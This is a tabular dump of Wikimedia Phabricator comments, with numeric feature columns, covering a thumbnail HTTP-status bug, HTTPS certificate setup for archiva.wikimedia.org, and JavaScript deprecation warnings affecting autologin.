what's the best phab project to report #1? I haven't paid much attention to other issues beside   #2 to be honest since those were the majority afaict",,,1423133242,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-21,True,2.0,0.0,0.0,0.0,1.0,7.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,1.0,5.0,11.0,0.0,3.0,0.0,1.0,0.0,4.0,0.0,0.0,2.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,7.0,11.0,1.0,1.0,10.0,0.0,0.0,0.0,2.0,4.0,0.0,3.0,0.0,2.0,11.0,5.0,1.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,1.0,1.0,1.0,0.0,3.760869565217391,0.75,"QUOTE
QUOTE
QUOTE
QUOTE

indeed that was conflating several issues, I failed to point out the emphasis which was on the number of hits per 10-min bucket. The log above is also really a summary and there might be more failure cases hidden.

QUOTE
QUOTE
QUOTE


what's the best phab project to report #1? I haven't paid much attention to other issues beside   #2 to be honest since those were the majority afaict"
406916,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500","Change 188710 had a related patch set uploaded (by Gergő Tisza):
Make thumb.php respond with HTTP 400 (not 500) on invalid parameters

[[https://gerrit.wikimedia.org/r/188710]]

#patch-for-review",,,1423096117,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,8.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,3.7,0.85,"Change 188710 had a related patch set uploaded (by Gergő Tisza):
Make thumb.php respond with HTTP 400 (not 500) on invalid parameters

[[GERRIT_URL]]

#patch-for-review"
406887,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500","> I'm sure this is known already but it'd seem more logical for such errors to return a 400 to the client since it isn't strictly the server's fault, what do you think?

There are three kinds of errors in the logs you pasted: 

# requesting a captcha with a bogus id ([[ http://it.wikipedia.org/w/index.php?title=Speciale:Captcha/image&wpCaptchaId=160756292 | link ]]) - this is probably via the FancyCaptcha extension and should be a separate bug
# requesting a bigger image (or, in some cases, the same size) as the source (`$thumb->fileIsSource()` check in `thumb.php`)
# garbage in query string - `wfThumbError(400, ...)` is called in `thumb.php` but the error still ends up to be 500.",,,1423093234,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-22,True,1.0,0.0,0.0,1.0,0.0,4.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,1.0,2.0,2.0,12.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,22.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,8.0,0.0,3.0,12.0,0.0,0.0,0.0,3.0,3.0,1.0,2.0,0.0,1.0,12.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,2.0,1.0,0.0,2.0,3.3157894736842106,0.6947368421052632,"QUOTE

There are three kinds of errors in the logs you pasted: 

# requesting a captcha with a bogus id ([[ URL | link ]]) - this is probably via the FancyCaptcha extension and should be a separate bug
# requesting a bigger image (or, in some cases, the same size) as the source (CODE check in CODE)
# garbage in query string - CODE is called in CODE but the error still ends up to be 500."
406873,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500",See also T75935 and T74328.,,,1423091617,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,1.0,See also T75935 and T74328.
406075,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500",CCing #operations ,,,1422957679,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,CCing #operations 
88139,Force https for archiva.wikimedia.org,,Medium,50.0,1422645688,1428508151.0,PHID-USER-tafngdco2cilcyr7qhhg,False,PHID-USER-tafngdco2cilcyr7qhhg,False,PHID-TASK-ate2dtsfqoctkh66varh,task_description,resolved,True,c3,1,True,True,True,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
440339,Force https for archiva.wikimedia.org,"Change 202474 merged by Ottomata:
Set up https with archiva certificate for archiva.wikmedia.org

[[https://gerrit.wikimedia.org/r/202474]]",,,1428507457,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.809523809523809,0.9047619047619048,"Change 202474 merged by Ottomata:
Set up https with archiva certificate for archiva.wikmedia.org

[[GERRIT_URL]]"
440078,Force https for archiva.wikimedia.org,"@dzahn could you review this?

https://gerrit.wikimedia.org/r/#/c/202474/11/manifests/role/archiva.pp

I think I'm doing it ok?  I do have install_certificate in there.",,,1428456179,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,20.0,4.0,8.0,8.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.64,0.84,"SCREEN_NAME could you review this?

URL

I think I'm doing it ok?  I do have install_certificate in there."
439984,Force https for archiva.wikimedia.org,"Make sure the intermediate certificate is actually added to the certificate chain. Either you need to specify it in manifests/certs.pp or with install_certficate. Common error we run into is that we don't add it and then we use the defaults which adds wmf-ca.pem and creates a broken chain.


```
 36             /^sni\./                       => 'GlobalSign_CA.pem',
 37             'uni.wikimedia.org'            => 'GlobalSign_CA.pem',
 38             'star.wmflabs.org'             => 'RapidSSL_CA.pem GeoTrust_Global_CA.pem',
 39             'star.wmflabs'                 => 'wmf-labs.pem',
 40             'star.planet.wikimedia.org'    => 'DigiCertHighAssuranceCA-3.pem DigiCert_High_Assurance_EV_Root_CA.pem',
 41             'star.wmfusercontent.org'      => 'GlobalSign_CA.pem',
 42             default => 'wmf-ca.pem',

```",,,1428444014,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,2.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,7.0,3.0,7.0,2.0,7.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,10.0,10.0,2.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.233333333333333,0.75,"Make sure the intermediate certificate is actually added to the certificate chain. Either you need to specify it in manifests/certs.pp or with install_certficate. Common error we run into is that we don't add it and then we use the defaults which adds wmf-ca.pem and creates a broken chain.


``CODE``"
439891,Force https for archiva.wikimedia.org,"Change 202474 had a related patch set uploaded (by Ottomata):
[WIP] Set up https with archiva certificate for archiva.wikmedia.org

[[https://gerrit.wikimedia.org/r/202474]]
",,,1428435400,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,4.193548387096774,0.8387096774193549,"Change 202474 had a related patch set uploaded (by Ottomata):
[WIP] Set up https with archiva certificate for archiva.wikmedia.org

[[GERRIT_URL]]
"
439690,Force https for archiva.wikimedia.org,"Since this wasn't just a 'buy cert' task, I'm assigning it back to @ottomata.  The archiva.wikimedia.org cert and key are now in the pub/private repos.  Please ensure you use the GlobalSign intermediary certificate.  (You can glance at gerrit's use for this, as it also uses a globalsign certificate.)",,,1428420918,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,2.0,0.0,6.0,9.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,3.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,3.0,9.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,8.0,9.0,5.0,0.0,3.0,0.0,8.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.9384615384615387,0.7846153846153846,"Since this wasn't just a 'buy cert' task, I'm assigning it back toSCREEN_NAME.  The archiva.wikimedia.org cert and key are now in the pub/private repos.  Please ensure you use the GlobalSign intermediary certificate.  (You can glance at gerrit's use for this, as it also uses a globalsign certificate.)"
439688,Force https for archiva.wikimedia.org,"Change 202411 merged by RobH:
archiva.wikimedia.org certificate

[[https://gerrit.wikimedia.org/r/202411]]",,,1428420823,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.933333333333334,0.8666666666666667,"Change 202411 merged by RobH:
archiva.wikimedia.org certificate

[[GERRIT_URL]]"
439686,Force https for archiva.wikimedia.org,"Change 202411 had a related patch set uploaded (by RobH):
archiva.wikimedia.org certificate

[[https://gerrit.wikimedia.org/r/202411]]
",,,1428420642,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,4.454545454545454,0.8636363636363636,"Change 202411 had a related patch set uploaded (by RobH):
archiva.wikimedia.org certificate

[[GERRIT_URL]]
"
437986,Force https for archiva.wikimedia.org,Any updates?,,,1428070309,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-13,True,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Any updates?
434227,Force https for archiva.wikimedia.org,The certificate order is tracked on https://rt.wikimedia.org/Ticket/Display.html?id=9286,,,1427484953,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-14,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,The certificate order is tracked on URL
429787,Force https for archiva.wikimedia.org,"The main issue is this:

https://github.com/wikimedia/operations-puppet/blob/production/manifests/role/archiva.pp#L34

Archiva has to deal with large objects being upload and downloaded, so it needs custom settings for whatever proxies to it.  Brandon was saying that this made archiva sound like it didn't belong behind misc web.  Even if there was no varnish caching, but nginx and varnish would have to be configured to allow for these settings.  If we get archiva its own cert, we can keep the nginx proxy on archiva and just do ssl termination there.

I would much rather put this behind misc-web, but it seems modifying misc-web just for this means that archiva is not 'misc-web'.",,,1426862760,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-15,True,1.0,0.0,0.0,1.0,1.5,3.0,0.5,0.0,0.0,1.5,0.0,2.0,0.0,0.0,0.5,2.5,0.0,5.5,10.5,0.0,2.0,0.0,0.0,0.0,2.5,0.5,0.0,1.5,1.0,1.5,0.5,5.5,1.0,3.0,1.0,0.0,1.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,13.0,2.0,1.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,3.5,4.0,3.0,3.0,5.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,5.5,10.5,2.0,0.0,1.5,0.0,5.5,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,3.777039627039627,0.7860139860139861,"The main issue is this:

URL

Archiva has to deal with large objects being upload and downloaded, so it needs custom settings for whatever proxies to it.  Brandon was saying that this made archiva sound like it didn't belong behind misc web.  Even if there was no varnish caching, but nginx and varnish would have to be configured to allow for these settings.  If we get archiva its own cert, we can keep the nginx proxy on archiva and just do ssl termination there.

I would much rather put this behind misc-web, but it seems modifying misc-web just for this means that archiva is not 'misc-web'."
429475,Force https for archiva.wikimedia.org,"There is also the option to use misc-web but without the varnish caching, so to just let it pass throught all requests but still get the benefits of the wildcard cert. (we do this for a few services, return (pass);)",,,1426805816,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-15,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,4.0,14.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5918367346938775,0.8367346938775511,"There is also the option to use misc-web but without the varnish caching, so to just let it pass throught all requests but still get the benefits of the wildcard cert. (we do this for a few services, return (pass);)"
429359,Force https for archiva.wikimedia.org,"Yes, but the main question asked with every certificate purchase is why it cannot exist behind misc-web.  While I see you reference this conversation occurred, can you summarize the reasoning on task please?

",,,1426792160,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-15,True,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,5.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,7.0,5.0,2.0,10.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.214285714285714,0.9047619047619048,"Yes, but the main question asked with every certificate purchase is why it cannot exist behind misc-web.  While I see you reference this conversation occurred, can you summarize the reasoning on task please?

"
424513,Force https for archiva.wikimedia.org,@robh can we get an ssl cert for archiva.wikimedia.org?,,,1426084560,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.3,1.0,SCREEN_NAME can we get an ssl cert for archiva.wikimedia.org?
424511,Force https for archiva.wikimedia.org,"We should do this, login, duh",,,1426084454,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.875,"We should do this, login, duh"
423380,Force https for archiva.wikimedia.org,"Not sure I actually want to do this.  misc-web doesn't seem like a good place to host this, after a discussion with other opsen.  I would like to have https on it, but to do so I think I need to buy a specific cert for it. Maybe eventually...",,,1425934795,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,10.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.2333333333333334,0.7166666666666667,"Not sure I actually want to do this.  misc-web doesn't seem like a good place to host this, after a discussion with other opsen.  I would like to have https on it, but to do so I think I need to buy a specific cert for it. Maybe eventually..."
87741,Deprecation errors in JavaScript prevent autologin,"I have recently observed that, whenever I visit ru.wikiquote, I'm not logged in, while I'm logged in in dozens other Wikiquote subdomains (even never visited before) in the same Chromium window.

The only difference I can spot is that the console is full of deprecation errors, probably due to the recent deprecation galore and the following scripts:
```
https://ru.wikiquote.org/w/index.php?title=MediaWiki:Wikificator.js&action=raw&ctype=text/javascript
https://ru.wikiquote.org/w/index.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript
https://ru.wikiquote.org/w/index.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript
```

Such deprecation errors have already put the entire JavaScript codebase of other wikis KO before, cf. {T86142}, so they might as well cause a failure of the CentralAuth JavaScript.

For instance, at https://ru.wikiquote.org/w/index.php?title=%D0%95%D0%B2%D1%80%D0%B8%D0%BF%D0%B8%D0%B4&action=edit&debug=true I get:

```
Use of ""wgCanonicalNamespace"" is deprecated. Use mw.config instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getload.php?debug=true&lang=ru&modules=site&only=scripts&skin=vector&*:120 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""wgAction"" is deprecated. Use mw.config instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getload.php?debug=true&lang=ru&modules=site&only=scripts&skin=vector&*:121 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""addOnloadHook"" is deprecated. Use jQuery instead.
